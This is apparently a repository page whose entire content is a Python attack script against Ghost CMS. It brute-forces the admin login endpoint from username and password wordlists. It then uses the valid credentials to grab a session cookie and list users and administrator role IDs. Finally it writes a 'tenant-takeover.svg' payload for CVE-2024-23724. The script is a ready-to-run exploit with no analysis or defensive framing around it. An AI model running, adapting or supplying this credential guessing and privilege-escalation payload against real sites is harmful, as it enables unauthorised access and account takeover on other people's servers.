README.md
Rendering markdown...
import requests
import argparse
def brute_force_credentials(userlist_path, passlist_path, target):
try:
with open(userlist_path, 'r') as f:
usernames = [line.strip() for line in f.readlines() if line.strip()]
with open(passlist_path, 'r') as f:
passwords = [line.strip() for line in f.readlines() if line.strip()]
except FileNotFoundError as e:
print(f"Error reading wordlist: {e}")
return None
auth_url = f"{target}:3001/ghost/api/admin/session"
auth_headers = {
"Content-Type": "application/json;charset=UTF-8",
"X-Ghost-Version": "5.75",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36",
"Accept": "text/plain, */*; q=0.01"
}
for username in usernames:
for password in passwords:
auth_payload = {"username": username, "password": password}
try:
response = requests.post(auth_url, json=auth_payload, headers=auth_headers, timeout=10)
if response.status_code == 201:
print(f"\n[+] Attempt successful: {username}:{password}")
return (username, password)
else:
print(f"[-] Attempt Failed: {username}:{password}")
except requests.exceptions.RequestException as e:
print(f"[!] Request error: {e}")
continue
return None
def exploit_cve(username, password, target):
base_url = target
auth_url = f"{base_url}:3001/ghost/api/admin/session"
auth_headers = {
"Content-Type": "application/json;charset=UTF-8",
"X-Ghost-Version": "5.75",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36",
"Accept": "text/plain, */*; q=0.01"
}
auth_payload = {"username": username, "password": password}
try:
auth_response = requests.post(auth_url, json=auth_payload, headers=auth_headers, timeout=10)
except requests.exceptions.RequestException as e:
print(f"[!] Authentication failed: {e}")
return
if auth_response.status_code == 201 and 'Set-Cookie' in auth_response.headers:
session_cookie = auth_response.headers['Set-Cookie'].split(';')[0]
print(f"[+] Session Cookie: {session_cookie}")
else:
print(f"[-] Authentication failed (Status: {auth_response.status_code})")
return
get_url = f"{base_url}:3001/ghost/api/admin/users/?include=roles"
get_headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36",
"Content-Type": "application/json; charset=UTF-8",
"Accept": "application/json, text/javascript, */*; q=0.01",
"X-Ghost-Version": "5.75",
"Cookie": session_cookie
}
try:
get_response = requests.get(get_url, headers=get_headers, timeout=10)
except requests.exceptions.RequestException as e:
print(f"[!] GET request failed: {e}")
return
if get_response.status_code == 200:
try:
users_data = get_response.json().get("users", [])
user_info = next((user for user in users_data if user.get("email") == username), None)
admin_role_info = next((user for user in users_data if any(role.get('name') == 'Administrator' for role in user.get('roles', []))), None)
admin_role_id = admin_role_info['roles'][0]['id'] if admin_role_info else '[Admin-Role-ID]'
if user_info:
replacements = {
'[User-ID]': user_info.get("id", ""),
'[User-Name]': user_info.get("name", ""),
'[Slug-Name]': user_info.get("slug", ""),
'[User-Email]': user_info.get("email", ""),
'[Admin-Role-ID]': admin_role_id
}
try:
with open("boilerplate.svg", "r") as f:
svg_template = f.read()
for placeholder, value in replacements.items():
svg_template = svg_template.replace(placeholder, value)
with open("tenant-takeover.svg", "w") as f:
f.write(svg_template)
print("[+] SVG payload written to tenant-takeover.svg")
except FileNotFoundError:
print("[!] boilerplate.svg file not found")
except Exception as e:
print(f"[!] Error processing SVG: {e}")
else:
print("[-] User not found in response")
except Exception as e:
print(f"[!] Error processing user data: {e}")
else:
print(f"[-] GET request failed (Status: {get_response.status_code})")
if __name__ == "__main__":
parser = argparse.ArgumentParser(description='Ghost CMS Brute-force and CVE-2024-23724 Exploit')
parser.add_argument('-U', '--userlist', required=True, help='Path to username wordlist file')
parser.add_argument('-P', '--passlist', required=True, help='Path to password wordlist file')
parser.add_argument('-t', '--target', required=True, help='Target base URL (e.g., http://localhost)')
args = parser.parse_args()
print("[*] Starting brute-force attack...")
credentials = brute_force_credentials(args.userlist, args.passlist, args.target)
if credentials:
print("\n[*] Valid credentials found! Checking for CVE-2024-23724...")
exploit_cve(*credentials, args.target)
else:
print("\n[-] Brute-force failed: No valid credentials found")